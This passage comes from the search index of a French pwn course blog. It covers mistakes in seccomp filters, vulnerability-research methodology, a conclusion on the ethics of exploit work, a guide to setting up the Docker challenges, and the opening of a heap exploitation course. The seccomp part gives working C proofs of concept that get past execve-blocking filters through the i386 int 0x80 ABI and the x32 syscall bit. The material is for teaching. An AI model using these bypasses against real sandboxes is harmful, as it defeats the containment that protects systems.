\"r\"(path), \"r\"(argv), \"r\"(envp) : \"eax\", \"ebx\", \"ecx\", \"edx\", \"memory\" ); // ---------------------------------------------------- perror(\"execve\"); return 1;}Accès au conteneur Docker : ⬇️ Téléchargement : pwn-seccomp-exemple-2.zip 🔎 SHA256 &amp; Analyse Virus Total : cedcbcf7f43e5e8b666501123ae1d85a2791dd6c4e537405080e800fadb7e4ce ⚙️ Construction et lancement du conteneur :docker build -t pwn-seccomp-exemple-2 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-seccomp-exemple-2Compilons-le avec gcc main.c -o exe et jetons un œil au filtre seccomp utilisé :$ seccomp-tools dump ./exe[+] Installation du filtre seccomp (execve x86-64 interdit) line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0003 0002: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS 0003: 0x06 0x00 0x00 0x7fff0000 return ALLOWVu comme ça on a l’impression qu’il n’est, effectivement, pas possible d’exécuter execve. Enfin, apparemment 😏. Pourtant en exécutant le programme (qui s’auto-exploite 🤪), execve(\"/usr/bin/id\",(...),(...)) semble bien être exécuté :$ ./exe[+] Installation du filtre seccomp (execve x86-64 interdit)[+] Filtre installe[+] execve via int 0x80 (ABI i386 depuis ELF64)uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd),988(docker)En effet, dans le programme l’appel système execve est réalisée de la sorte :asm volatile (\t\"movl $11, %%eax\\n\" /* __NR_execve i386 */\t\"movl %k0, %%ebx\\n\"\t\"movl %k1, %%ecx\\n\"\t\"movl %k2, %%edx\\n\"\t\"int $0x80\\n\"\t:\t: \"r\"(path), \"r\"(argv), \"r\"(envp)\t: \"eax\", \"ebx\", \"ecx\", \"edx\", \"memory\");Étant donné que l’appel système execve utilisé est celui de l’architecture x86 avec int 0x80, il passe entre les mailles du filtre seccomp 🫣 !⚠️ Erreur n°3 : ne pas vérifier l’ABI x32Tout d’abord, voyons ce qu’est l’ABI x32. Nous y reviendrons plus tard lors de l’étude de l’exploitation du tas.L’ABI x32 est une interface d’exécution un peu particulière apparue sur les systèmes Linux x86-64 : elle combine des registres 64 bits avec des pointeurs 32 bits. L’idée, à l’origine, était de profiter des performances de l’architecture 64 bits (instructions, registres, appels système modernes) tout en réduisant la consommation mémoire grâce à des pointeurs plus petits.Concrètement, un programme x32 utilise les numéros d’appels système x86-64, mais marqués par un bit spécial (0x40000000) pour indiquer au noyau qu’il s’agit de l’ABI x32. Peu utilisé et source de complexité (notamment en sécurité), cet ABI est aujourd’hui désactivé sur la plupart des noyaux modernes.D’ailleurs, nous voyons bien dans le filtre seccomp de chromium que cela est vérifié : line CODE JT JF K================================= (...) 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A &lt; 0x40000000) goto 0005 0004: 0x15 0x00 0x1d 0xffffffff if (A != 0xffffffff) goto 0034 0005: 0x15 0x00 0x03 0x00000125 if (...) goto (...) (...) 0034: 0x06 0x00 0x00 0x00000000 return KILL💻 Comment exploiter une telle vulnérabilité ?Encore une fois, merci Chat GPT pour les travaux 🤝 :#define _GNU_SOURCE#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;unistd.h&gt;#include &lt;stddef.h&gt;#include &lt;linux/seccomp.h&gt;#include &lt;linux/filter.h&gt;#include &lt;linux/audit.h&gt;#include &lt;sys/prctl.h&gt;#include &lt;sys/syscall.h&gt;/* Macros utilitaires */#define ALLOW(syscall) \\ BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, syscall, 0, 1), \\ BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW)#define KILL \\ BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS)static void install_seccomp(void){ struct sock_filter filter[] = { /* Charger le numero de l appel systeme */ BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)), /* Si le syscall est execve alors tuer le processus */ BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 0, 1), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS), /* Tous les autres appels systeme sont autorises */ BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len = sizeof(filter) / sizeof(filter[0]), .filter = filter, }; /* Interdire toute elevation de privileges */ if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { perror(\"PR_SET_NO_NEW_PRIVS\"); exit(1); } /* Installer le filtre seccomp */ if (syscall(SYS_seccomp, SECCOMP_SET_MODE_FILTER, 0, &amp;prog)) { perror(\"seccomp\"); exit(1); }}int main(void){ printf(\"[+] Installation du filtre seccomp vulnerable\\n\"); install_seccomp(); printf(\"[+] Seccomp installe\\n\"); printf(\"[+] Tentative de execve via l ABI x32\\n\"); // -------------------- Partie Exploitation -------------------- char *argv[] = {\"/usr/bin/id\", NULL}; char *envp[] = {NULL}; /* execve via l ABI x32 : __NR_execve | 0x40000000 */ syscall(__NR_execve | 0x40000000, \"/usr/bin/id\", argv, envp); // ------------------------------------------------------------- perror(\"execve\"); return 0;}Accès au conteneur Docker : ⬇️ Téléchargement : pwn-seccomp-exemple-3.zip 🔎 SHA256 &amp; Analyse Virus Total : b1b065d74d1a45343755b1f9346b5a3af5c716e7afc47fa3122bdbff926ad57d ⚙️ Construction et lancement du conteneur :docker build -t pwn-seccomp-exemple-3 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-seccomp-exemple-3On le compile avec gcc main.c -o exe et affichons le filtre seccomp utilisé :$ seccomp-tools dump ./exe[+] Installing vulnerable seccomp filter line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0003 0002: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS 0003: 0x06 0x00 0x00 0x7fff0000 return ALLOWComme ce fut le cas pour le précédent exemple, ce programme met en place un filtre vulnérable qui devrait normalement bloquer l’appel système execve. Néanmoins il ne vérifie pas si le numéro de l’appel système contient le bit 0x40000000. En utilisant le bit 0x40000000 afin de passer par l’ABI x32, le numéro de l’appel système à appeler (ici __NR_execve ) doit avoir pour valeur le numéro de l’appel système en 64 bits (0x3b pour execve) et non la valeur en 32 bits (0xb pour execve).De ce fait, il est toujours possible d’exécuter execve (à condition que votre machine active l’ABI x32) :$ ./exe[+] Installation du filtre seccomp vulnerable[+] Seccomp installe[+] Tentative de execve via l ABI x32uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd),988(docker)Au passage, pour savoir si l’ABI x32 est disponible sur une machine, il suffit de lancer :grep CONFIG_X86_X32 /boot/config-$(uname -r)La commande doit être exécutée dans l’hôte et non dans le conteneur Docker car elle ne fonctionnera pas.Voici deux résultats qu’il est susceptible d’avoir : # CONFIG_X86_X32_ABI is not set ➡️ l’ABI x32 n’est pas activée ❌ ; CONFIG_X86_X32=y ➡️ l’ABI x32 est activée ✅ .Est-il possible de désactiver un filtre seccomp une fois activé ❓La réponse est : Non. Du moins pas en user land. Pour ce qui est de le désactiver depuis le kernel land, je ne sais pas si cela est possible.📋 SynthèseAu cours de ce chapitre, nous avons mis en évidence plusieurs erreurs classiques dans la mise en place des filtres seccomp. Cela montre à quel point il est essentiel de lire attentivement et comprendre précisément le filtre seccomp appliqué par une application avant d’en tirer des conclusions en termes d’exploitation.Bien entendu, cette liste d’erreurs n’est pas exhaustive : d’autres failles de conception ou d’implémentation peuvent exister. Toutefois, lorsque aucune de ces erreurs courantes n’est présente, l’exploitation devient généralement un peu plus complexe et demande une analyse plus approfondie du programme et de son environnement d’exécution." }, { "title": "Partie 28 - Méthodologie - comment identifier et analyser des vulnérabilités", "url": "/posts/introduction_au_pwn_partie_28/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-11 08:00:00 -0200", "snippet": "Méthodologie : comment identifier et analyser des vulnérabilitésVous l’avez sans doute remarqué : ce cours met davantage l’accent sur la partie exploitation que sur la partie recherche de vulnérabi...", "content": "Méthodologie : comment identifier et analyser des vulnérabilitésVous l’avez sans doute remarqué : ce cours met davantage l’accent sur la partie exploitation que sur la partie recherche de vulnérabilités. En effet, l’exploitation requiert tout de même pas mal de compétences et de connaissances. Sauf qu’il ne faut pas oublier :Nous allons donc, au cours de ce chapitre, nous intéresser à quelques méthodes de recherche de vulnérabilités. Le traiter en un seul chapitre est évidemment trop court pour être exhaustif et applicable à toutes les applications imaginables. Mais, au moins, cela permettra de comprendre l’état d’esprit à avoir dans de la recherche de vulnérabilité.Pour cela, nous allons distinguer deux types de programmes à exploiter : les challenges : on sait qu’il y a une ou plusieurs vulnérabilités. Il suffit de les trouver et savoir les exploiter correctement ; les autres : on ne sait pas par où commencer ni s’il y a réellement une vulnérabilité dans le programme.🏋️‍♂️ Les challengesBien que la méthodologie de la résolution des challenges n’entre pas totalement dans un contexte d’exploitation réel. Il n’en demeure pas moins que cela reste l’une des meilleures manières de progresser. Le seul défaut est que dans certains cas, nous savons très bien de quel type est la vulnérabilité à exploiter ou, au moins, nous savons où commencer à chercher.Tout d’abord, si le challenge contient un énoncé voire un indice dans le titre, il convient de prendre un peu de temps pour comprendre ce qu’il implique. Par exemple, s’il s’agit plutôt d’un challenge d’exploitation dans le tas, il y a de grandes chances que le challenge soit compilé avec des versions spécifiques, souvent anciennes, de la libc. Idem s’il y a de nombreux appels à malloc, free etc.L’une des premières choses à faire avec un programme est de lancer checksec afin de déterminer les protections qui y sont présentes. checksec peut parfois donner des faux positifs 😵‍💫 notamment en ce qui concerne les canaris, RELRO et parfois RWX. Ne prenez pas toujours ce qu’il dit pour argent comptant et vérifiez par vous-mêmes dans gdb et dans le code décompilé si ce qu’il raconte est correct.Très souvent, l’absence d’une protection n’est pas anodine : s’il n’y a pas de canari, il est peut-être possible de déclencher un buffer overflow sur la pile ; s’il n’y a pas de RELRO ou que celle-ci est partielle, il pourrait être judicieux de corrompre l’une de ses entrées pour basculer vers une exécution de code autre part ; lorsque la pile ou que le tas est exécutable, on peut envisager l’utilisation d’un shellcode. Si aucune de ces deux zones n’est RWX, n’hésitez pas à chercher d’autres zones mémoire via gdb qui le seraient potentiellement. Il ne faut pas non plus que ce type d’outils restreigne excessivement notre vision. La présence de canaris n’implique pas qu’un dépassement de mémoire sur la pile soit impossible. De la même manière, l’absence de zones RWX ne signifie pas nécessairement qu’un shellcode est inexploitable, notamment lorsqu’un appel à mprotect est envisageable. En définitive, ces outils et les informations qu’ils fournissent ne doivent pas brider notre capacité d’analyse ni nous dissuader d’explorer des vulnérabilités que l’on suppose, à tort, inexistantes.💿 Les autres types de programmesEt si on voyait plus grand ? Bah oui, les challenges c’est bien, mais généralement ce qui est plus intéressant c’est de trouver des vulnérabilités dans des programmes réellement utilisés.Pour cela nous allons principalement nous focaliser sur les programmes codés en C et qui tournent sous Linux. Certaines méthodes et astuces que nous verrons pourrons bien sûr être utilisées dans d’autres contextes comme des programmes C sous Mac OS, Windows etc.🔦 Evaluer la surface d’attaqueTout d’abord, avant même de commencer à chercher des vulnérabilités, il faut absolument savoir de quoi la surface d’attaque est constituée. La surface d’attaque désigne l’ensemble des points d’entrée, fonctionnalités, interfaces et comportements exploitables par lesquels un attaquant peut interagir avec un système. En quoi est-ce si important que cela ?Voici un exemple assez simple pour comprendre en quoi cette étape est primordiale : on passe pas mal de temps à analyser le programme et on trouve enfin une vulnérabilité (ex : buffer overflow) dans une fonction sub_xxxxxxx qui sera très simple à exploiter.Sauf que le souci est que sub_xxxxxxx n’est jamais atteinte par le programme : parce que c’est du code mort ; parce qu’elle n’est accessible qu’en étant administrateur ; parce qu’elle n’est accessible que lorsque le mode de débogage est activé.Ainsi, l’évaluation de la surface d’attaque permet de prioriser efficacement les zones du code réellement accessibles et de concentrer nos efforts là où une interaction est possible.À l’inverse, cette analyse ne doit pas restreindre excessivement la recherche : des fonctionnalités a priori inaccessibles peuvent devenir pertinentes si un contournement de contrôle ou une élévation de privilèges est découverte. Par exemple, des fonctions réservées aux administrateurs méritent parfois d’être identifiées, car elles peuvent devenir exploitables dès lors qu’un moyen d’obtenir ces privilèges est trouvé. Et on fait comment pour la trouver cette surface d’attaque ?Il faut tout d’abord déterminer tout ce qui constitue l’entrée utilisateur (ou input). En d’autres termes : comment puis-je interagir avec cette application ?Voici quelques exemples : stdin : le programme lit l’entrée utilisateur depuis l’entrée standard et la traite ; une socket réseau : le programme est en attente de connexions extérieures et traite la requête une fois reçue ; lecture depuis un fichier accessible : le programme lit des données depuis un fichier dont le contenu peut être modifié par l’utilisateur ; les arguments de la ligne de commande (argv) passés au lancement du programme ; les variables d’environnement (envp), souvent utilisées pour configurer le comportement du programme ; les signaux reçus par le processus (SIGALRM, SIGUSR1, etc.), qui peuvent déclencher des chemins d’exécution spécifiques ; les données partagées via des mécanismes IPC (mémoire partagée, pipes nommés, messages en fil d’attente …).🔬 Analyser comment sont traitées les donnéesUne fois que l’on a une idée de la surface d’attaque, il est désormais temps de s’intéresser à ce que le programme fait concrètement des entrées utilisateur. C’est à partir de cette étape que le travail de reverse prend toute son importance.En fait, peu importe les données que lit le programme, il y a toujours un certain nombre de questions à se poser : Comment les données sont-elles traitées ? Par quelles fonctions les données passent-elles ? Est-ce que la modification de la taille ou du contenu des données peut avoir un effet sur le fonctionnement du programme ? Y a-t-il des conversions ? Sérialisation ? Utilisation de données sous forme de structure type-longueur-valeur ? Lorsque l’entrée utilisateur doit respecter un format spécifique (ex : XML, HTTP, fichier chiffré, certificat, etc.), que se passe‑t‑il si ce format est partiellement ou volontairement corrompu ?L’analyse “bas niveau”Afin de répondre à ces questions lors de l’analyse du programme, nous allons descendre d’un cran et nous poser des questions supplémentaires plus “bas niveau” : Si la fonction utilise un buffer, comment ce dernier est-il généré ? A-t-il une taille suffisante pour l’usage qu’en fait le programme ? Si des comparaisons sont réalisées, est-ce que le signe de la comparaison (signed / unsigned) est cohérent avec le signe des variables comparées ? Jeter un œil aux types et notamment la taille des variables utilisées : Que se passe-t-il si l’on tente d’écrire 0xdeadbeef dans une variable de type __int16 de deux octets ? Que se passe-t-il lorsque j’ajoute 1 à une variable de type int ayant pour valeur 0xffffffff ? Même question si on tente de stocker 0xdeadbeef * 0x10 dans une variable de type int. Quels sont les arguments qui doivent être donnés à une fonction et quelle est sa valeur de retour ? La fonction admet-elle des comportements indéfinis lorsque certaines valeurs sont transmises ? De manière générale, utiliser le man d’une fonction permet d’avoir une idée des erreurs d’utilisation ou d’implémentation de la fonction. S’il y a une lecture et écriture dans un fichier, est-ce qu’une situation de compétition est possible ?Encore une fois, la liste n’est pas exhaustive et ne doit pas être utilisée comme une simple liste de cases à cocher. Elle peut servir de support dans le cas où l’on a bien avancé dans la rétro-ingénierie et que l’on pense que l’on a pas assez passé de temps dans telle ou telle partie du programme.En fait, ces questions doivent être adressées à tout moment, au fur et à mesure que l’on avance dans l’analyse.L’analyse “haut niveau”Une fois les parties accessibles du programme analysées, les structures internes reversées et les vulnérabilités potentielles identifiées, il est temps de prendre du recul et d’observer le fonctionnement global de l’application afin d’y déceler d’éventuelles failles.Par « analyse haut niveau », on entend l’étude de la logique générale du programme. Cette étape ne conduit généralement pas à des corruptions mémoire directes, mais elle est souvent déterminante pour identifier des bugs de logique, parfois tout aussi critiques. Ces derniers peuvent en effet permettre des contournements de mécanismes de sécurité, des élévations de privilèges ou des accès non autorisés.Les points à examiner à ce stade dépendent naturellement du type d’application et de sa logique interne 😅. C’est précisément le moment d’adopter un état d’esprit “think out of the box” : l’objectif n’est plus d’analyser une fonction isolée, mais de repérer des incohérences ou des failles dans le processus global de fonctionnement de l’application.Faire un bilan des vulnérabilités trouvéesIl arrive souvent que dans des programmes, une vulnérabilité trouvée ne soit pas suffisante pour l’exploiter. Auquel cas il sera nécessaire de faire un bilan des bugs ou vulnérabilités trouvés afin de déterminer ce qu’il sera possible d’en faire et les résultats que l’on peut obtenir en combinant plusieurs vulnérabilités.📋 SynthèseAu final, la recherche de vulnérabilités repose sur trois piliers essentiels : utiliser des astuces et des raccourcis afin d’orienter efficacement l’analyse ; adopter une méthodologie rigoureuse, sans foncer tête baissée ; éviter de se limiter à un ensemble restreint de types de vulnérabilités, au risque de passer à côté d’autres failles tout aussi exploitables.Ce chapitre n’a évidemment pas vocation à être exhaustif. La méthodologie de recherche dépend fortement du type de programme analysé et de son contexte d’exécution : on n’aborde pas de la même manière un programme Java, une application C en userland ou un module kernel Linux.Enfin, ce chapitre n’aborde pas l’usage des outils dédiés à la recherche de vulnérabilités, ni l’importance de prendre le temps d’en découvrir de nouveaux afin de gagner en efficacité et en profondeur d’analyse." }, { "title": "Partie 29 - Conclusion", "url": "/posts/introduction_au_pwn_partie_29/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-10 08:00:00 -0200", "snippet": "ConclusionCe cours d’introduction au pwn touche à sa fin. J’espère sincèrement que ce cours, que ce soit dans son entièreté ou en partie, aura pu vous être bénéfique et vous prouver que rien n’est ...", "content": "ConclusionCe cours d’introduction au pwn touche à sa fin. J’espère sincèrement que ce cours, que ce soit dans son entièreté ou en partie, aura pu vous être bénéfique et vous prouver que rien n’est difficile à comprendre tant que l’on reste motivé, curieux et que l’on poursuit ses efforts. Mais tu n’as pas fini la timeline avec toutes les techniques d’exploitation. Il y aura une suite ?Ptet’ bien qu’oui, ptet’ bien que non 🙃. En tout cas, cela me ferait plaisir de savoir quel serait le prochain cours que vous aimeriez lire un jour ? N’hésitez pas à me faire un retour par mail 😉.💡 « Science sans conscience n’est que ruine de l’âme »Il n’existe pas 36 000 manières de gagner sa vie en faisant de la recherche de vulnérabilité. Il existe de nombreux métiers dans ce domaine que l’on pourrait, grosso modo, classer dans l’une de ces catégories : 🟢 recherche de vulnérabilité, en interne, au sein d’une entreprise afin de sécuriser les programmes et applications ; 🟢 recherche de vulnérabilité de type bug bounty permettant d’être rémunéré pour la découverte de failles afin que les entreprises concernées puissent les corriger ; 🟠 recherche de vulnérabilité sous forme de prestation de service pour des clients ; 🔴 commercialisation d’exploits via des intermédiaires spécialisés ; 🔴 cybercriminalité à but lucratif. Tout d’abord, le code couleur et les remarques ci-dessous sont subjectifs. À chacun de se faire son propre avis sur la question.Dans les deux premiers cas (1️⃣ et 2️⃣), ce qui est intéressant est que la finalité de la recherche est la protection des systèmes. Ainsi, on ne devrait, en théorie, pas faire de tort à qui que ce soit en menant ce type d’activité. Le seul défaut de ces activités, et notamment dans le premier cas, est qu’il est très difficile d’y être recruté en début de carrière.Pour ce qui est du troisième cas 3️⃣ : la recherche de vulnérabilités comme service pour des clients externes. Il s’agit d’une activité très répandue que ce soit en France, en Europe ou ailleurs. Très souvent, les clients finaux sont des entités étatiques qui peuvent aussi bien utiliser à bon escient les exploits développés (contre-terrorisme, lutte contre la délinquance etc.) qu’à mauvais escient (surveillance abusive, participation ou collaboration avec des états g3n0cid4ir3s etc.). C’est généralement une activité plutôt accessible en début de carrière.Dans le quatrième cas 4️⃣, il s’agit de la vente d’exploits à des intermédiaires qui les revendent ensuite comme bon leur semble. Contrairement au précédent cas, vous ne savez jamais qui achètera in fine l’exploit et si ce client est connu pour en faire bon usage ou non. Cela peut être à la fois utilisé par un État pour traquer des criminels tout comme cela peut être utilisé par un État en vue de faciliter la mise en place d’un g3n0cid3 que ce soit au Moyen-Orient, en Europe ou ailleurs. Pour parler français, dans les cas 3️⃣ et 4️⃣, ce type de recherche de vulnérabilités est de la vente d’armes (numériques). La principale différence entre les cas 3️⃣ et 4️⃣ est que dans le cas 3️⃣ vous savez généralement pour qui vous travaillez. Voici un exemple des conséquences de l’utilisation d’exploits par des entreprises principalement liées, de près ou de loin, à des entités g3n0cid4ir3s.Enfin, le cinquième cas 5️⃣ est généralement le chemin emprunté par ceux dont le but visé est de gagner de l’argent via de la recherche et l’exploitation de vulnérabilités et ce, peu importe le moyen utilisé. Vous imaginez bien que cela est d’une part illégal mais surtout que cela a des conséquences énormes sur les cibles.Pour résumer, indépendamment du travail effectué, nous devrions toujours nous poser la question suivante : est-ce que ce que je produis chaque jour via mes efforts et mon travail contribue à rendre le monde meilleur ?↗️ Aller plus loinCe cours aborde majoritairement des aspects théoriques, même si plusieurs exercices et challenges ont permis de mettre ces notions en pratique. Cela dit, rien ne remplace une pratique régulière : que ce soit à travers d’autres challenges ou l’analyse de programmes réels, c’est l’entraînement qui permet de réellement consolider les acquis.Pour rappel, plusieurs plateformes proposant des challenges de pwn ont été présentées dans le chapitre d’introduction au pwn. Chacune possède ses spécificités : à vous de choisir celles qui correspondent le mieux à vos objectifs et à votre manière d’apprendre.N’hésitez pas à revenir sur certains chapitres si des notions vous échappent. Cela arrive très fréquemment en pwn 😆. Quelques mois sans pratiquer suffisent parfois à donner l’impression d’avoir tout oublié lorsque l’on s’y remet.Enfin, les qualités essentielles pour progresser durablement sont la curiosité et la persévérance. Avec de l’autonomie, de la méthode et du temps, il est possible de comprendre n’importe quelle notion. Il ne faut jamais considérer une difficulté comme insurmontable, ni penser que certaines compétences sont réservées à une quelconque “élite”.Avant de se quitterTout d’abord, merci d’avoir pris le temps de lire ce cours. Il s’agit de la première édition de ce cours, qui n’est évidemment pas parfaite et contient sûrement des erreurs tant sur le fond que sur la forme. Je ne prétends évidemment pas avoir la science infuse 😅. Ainsi, si vous pensez qu’un changement s’impose sur l’un de ces deux aspects, n’hésitez pas à nous contacter (par mail ou autre) pour en discuter.De même, si vous ne comprenez toujours pas une notion présentée à travers ces différents chapitres, cela signifie sûrement que l’on n’a pas su la présenter et l’expliquer de la meilleure manière et qu’un changement ou une amélioration s’impose.De manière générale, nous sommes ouverts à la discussion et nous essayons d’être réactifs afin de répondre aux questions dans un délai raisonnable.Sur ce, prenez soin de vous et à la prochaine !Dieu sait mieux." }, { "title": "Partie 30 - Annexe - mise en place et résolution des challenges", "url": "/posts/introduction_au_pwn_partie_30/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-09 08:00:00 -0200", "snippet": "Annexe : mise en place et résolution des challengesCertains challenges et exercices seront donnés sous forme d’une archive contenant très souvent un Dockerfile ainsi que le programme à exploiter. D...", "content": "Annexe : mise en place et résolution des challengesCertains challenges et exercices seront donnés sous forme d’une archive contenant très souvent un Dockerfile ainsi que le programme à exploiter. D’autres éléments peuvent aussi être présents.Utiliser la conteneurisation via Docker permet de s’assurer au mieux que vous puissiez résoudre les challenges indépendamment de votre distribution. Encore une fois, le mieux est que vous disposiez d’une machine ou VM sous Ubuntu 24.04 si cela est possible. De cette manière cela limitera les potentiels soucis de compatibilité.📁 Que contient l’archive du challenge ?Tout d’abord, un lien de téléchargement vers l’archive contenant le challenge sera présent sur la page du challenge. Une fois téléchargé, vous pourrez y trouver ces éléments : Fichier Utilité Présence 🐳 Dockerfile Fichier de configuration du conteneur Docker Obligatoire ✅ ⌨️ Programme C’est le challenge, à savoir : un fichier binaire à exploiter. Obligatoire ✅ 📄 flag.txt Fichier dont le contenu est à afficher lorsqu’il s’agit de l’objectif du challenge Facultatif ✔️ 📚 libc et ld Lorsque le challenge doit être résolu avec une version spécifique de la libc, la libc et ld (éditeur de liens) seront fournis (mais leur présence peut également être anodine) Facultatif ✔️ Une autre idée pour avoir facilement accès aux challenges aurait été de mettre les conteneurs en ligne sur Docker Hub. Le souci est qu’il est nécessaire d’avoir une connexion internet pour pouvoir rapidement pull l’image. De plus, vous ne pourrez pas avoir facilement accès aux fichiers tels que le Dockerfile ou le programme pour les manipuler/modifier. En tout cas, si vous avez une meilleure solution que de mettre des archives zippées, nous sommes preneurs 🤓.🎯 Quel est l’objectif du challenge ?L’objectif sera toujours précisé dans l’énoncé du challenge. Cela peut être : réussir à exécuter une fonction en particulier ; exécuter un shellcode qui fait telle ou telle chose ; ouvrir un terminal (shell) ; devenir root ; afficher le flag …Il se peut qu’il y ait de temps à autre des restrictions supplémentaires à appliquer telle que : “exploiter le programme à distance sans l’exécuter en local”.💫 Comment lancer le challenge ?Les différentes commandes permettant de lancer le challenge seront précisées sur la page de téléchargement du challenge. Généralement cela se fait en 3 étapes :1️⃣ Construction de l’image dockerC’est une commande qui ressemble à docker build -t XXXXXXXX . où XXXXXXXX est le nom/tag de l’image. C’est normal que cette étape prenne 1000 ans 😩 ?Cette étape peut prendre un certain temps (de l’ordre de quelques minutes) notamment pour l’installation des différents outils. Eh oui, quand on veut avoir tout à porter de main il faut savoir faire preuve de patience.2️⃣ Lancement du conteneurLe lancement du conteneur se fait avec une commande commençant par docker run (...). Cette commande sera donnée sur la page du challenge car ses paramètres diffèrent d’un challenge à un autre.3️⃣ Lancement du challengeEn fonction du type de challenge (résolution à distance ou locale) le lancement du challenge ne sera pas la même. C’est pourquoi la commande de lancement du challenge sera également spécifiée dans la page du challenge. Sinon, c’est par défaut ./nom_du_programme.⚙️ Comment déboguer le programme ?Vous devriez toujours avoir accès au sein du conteneur docker à : gdb pour déboguer le programme en local ; gdbserver ainsi que l’ouverture du port 1234 afin de pouvoir déboguer à distance si besoin.Débogage en localIl sera possible de déboguer localement le challenge en lançant gdb via un terminal dans le conteneur. Cela peut se faire avec docker exec -it --user root XXXXXX /bin/bash où XXXXXX est l’identifiant du conteneur obtenu avec docker ps.Ensuite vous aurez accès à un terminal dans le conteneur et vous pourrez y lancer gdb. Nous avons choisi de ne pas inclure toutes les différentes versions de gdb pour plusieurs raisons. Tout d’abord le fait d’inclure une seule version augmente considérablement le temps de build. Deuxièmement, le fait d’inclure toutes les versions peut poser problème lors du build.Cela permet également d’éviter d’alourdir le conteneur. De toute manière, une fois que le conteneur est lancé, vous pourrez y installer n’importe quel version / extension de gdb en y ouvrant un terminal.Débogage à distanceIl existe plusieurs solutions pour déboguer à distance. L’une d’elles est d’ouvrir un terminal dans le conteneur :docker exec -it --user root ID_CONTENEUR /bin/bashEnsuite vous avez le choix :Soit vous souhaitez déboguer le programme depuis son lancement :gdbserver :1234 ./programmeSoit vous préférez le déboguer alors qu’il est en cours d’exécution :gdbserver :1234 --attach PID_PROGRAMMEOù PID_PROGRAMME est le PID du challenge.Enfin, il suffit d’ouvrir gdb en dehors du conteneur et d’exécuter :target remote 127.0.0.1:1234 Dans la plupart des cas target remote :1234 fonctionne aussi. Si gdb ne se connecte pas une fois la commande exécutée, il y a probablement un problème au niveau de l’adresse ou du port utilisé. Dans ce cas il faudra adapter la précédente commande à votre configuration.⛔ Signaler un problèmeSi tu as trouvé un problème lors de la mise en place ou de la résolution d’un challenge, n’hésite pas à nous envoyer un mail à reverse_zip[aro b ase]proton.me." }, { "title": "Partie 1 - Introduction", "url": "/posts/exploitation_de_la_heap_partie_1/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-04-08 08:00:00 -0200", "snippet": "Au nom de Dieu, le Tout Miséricordieux, le Très Miséricordieux.IntroductionBienvenue dans ce cours d’exploitation du tas !Initialement, ce cours devait faire partie du cours d’introduction au pwn. ...", "content": "Au nom de Dieu, le Tout Miséricordieux, le Très Miséricordieux.IntroductionBienvenue dans ce cours d’exploitation du tas !Initialement, ce cours devait faire partie du cours d’introduction au pwn. Sachant que cela l’aurait alourdit (~50 chapitres), nous avons choisi de les séparer afin que tout ce qui est relatif à l’exploitation du tas soit présent dans un cours dédié. Il est primordial d’avoir bien entamé le cours d’introduction au pwn avant de commencer celui-ci. Pour rappel, le tas (ou heap) est la zone mémoire qui permet d’allouer dynamiquement de la mémoire avec malloc, new, etc.Que diriez-vous de changer de sujet et de voir autre chose que la pile ? D’autant plus qu’il s’agit d’un mécanisme qui a souvent été au cœur de nombreuses vulnérabilités, entraînant l’évolution constante des protections qui lui sont associées.L’exploitation du tas est de plus en plus prisée notamment, au vu des protections de plus en plus contraignantes implémentées pour la pile. Vous remarquerez ci-dessous l’évolution des vulnérabilités exploitées au fil du temps côté Microsoft (le use-after-free est une vulnérabilité du tas):SourceNous avions brièvement parlé du tas dans le cours de reverse lorsque nous nous étions intéressés à la localisation des variables dynamiques. Si vous ne voyez pas où est, à peu près, situé le tas en mémoire, ou que vous avez des lacunes, n’hésitez pas à jeter un œil à la gestion des variables dynamiques.Concrètement, pour certains usages, il est très pratique de pouvoir allouer dynamiquement de la mémoire. Par exemple : nous souhaitons faire un programme qui, à un moment, doit lire le contenu d’un fichier en mémoire. Néanmoins, nous ne savons pas à l’avance la taille de ce fichier. Comment choisir une taille de buffer adéquate permettant de gérer n’importe quelle taille de fichier ?En utilisant une taille statique, déterminée à la compilation, nous limitons la taille maximum du fichier que nous souhaitons traiter. De plus, nous utilisons plus de mémoire que nous n’en avons besoin. Pourquoi créer un buffer de 2 Go sur la pile alors que nous allons lire des fichiers de quelques Mo dans 99% des cas ?En revanche, en utilisant une fonction comme malloc(taille_du_fichier), nous pouvons adapter cette taille dynamiquement, c’est-à-dire, lors de l’exécution. De cette manière, nous allouons seulement ce dont on a besoin et nous sommes même capables de gérer les 1% de fichiers de grande taille. Par rapport aux chapitres précédents, nous rentrerons parfois bien plus en détails sur certains aspects de l’exploitation dans le tas, notamment lorsque l’on s’intéressera à l’exploitation via les différentes corbeilles disponibles. Si vous n’avez pas forcément besoin de ces informations au moment où vous lirez ces pages, vous pourrez les mettre de côté jusqu’au jour où vous souhaiterez en savoir plus. L’exploitation dans le tas n’est pas difficile, c’est juste qu’il y a beaucoup de nouvelles informations et si on ne laisse pas au cerveau le temps de les assimiler, on 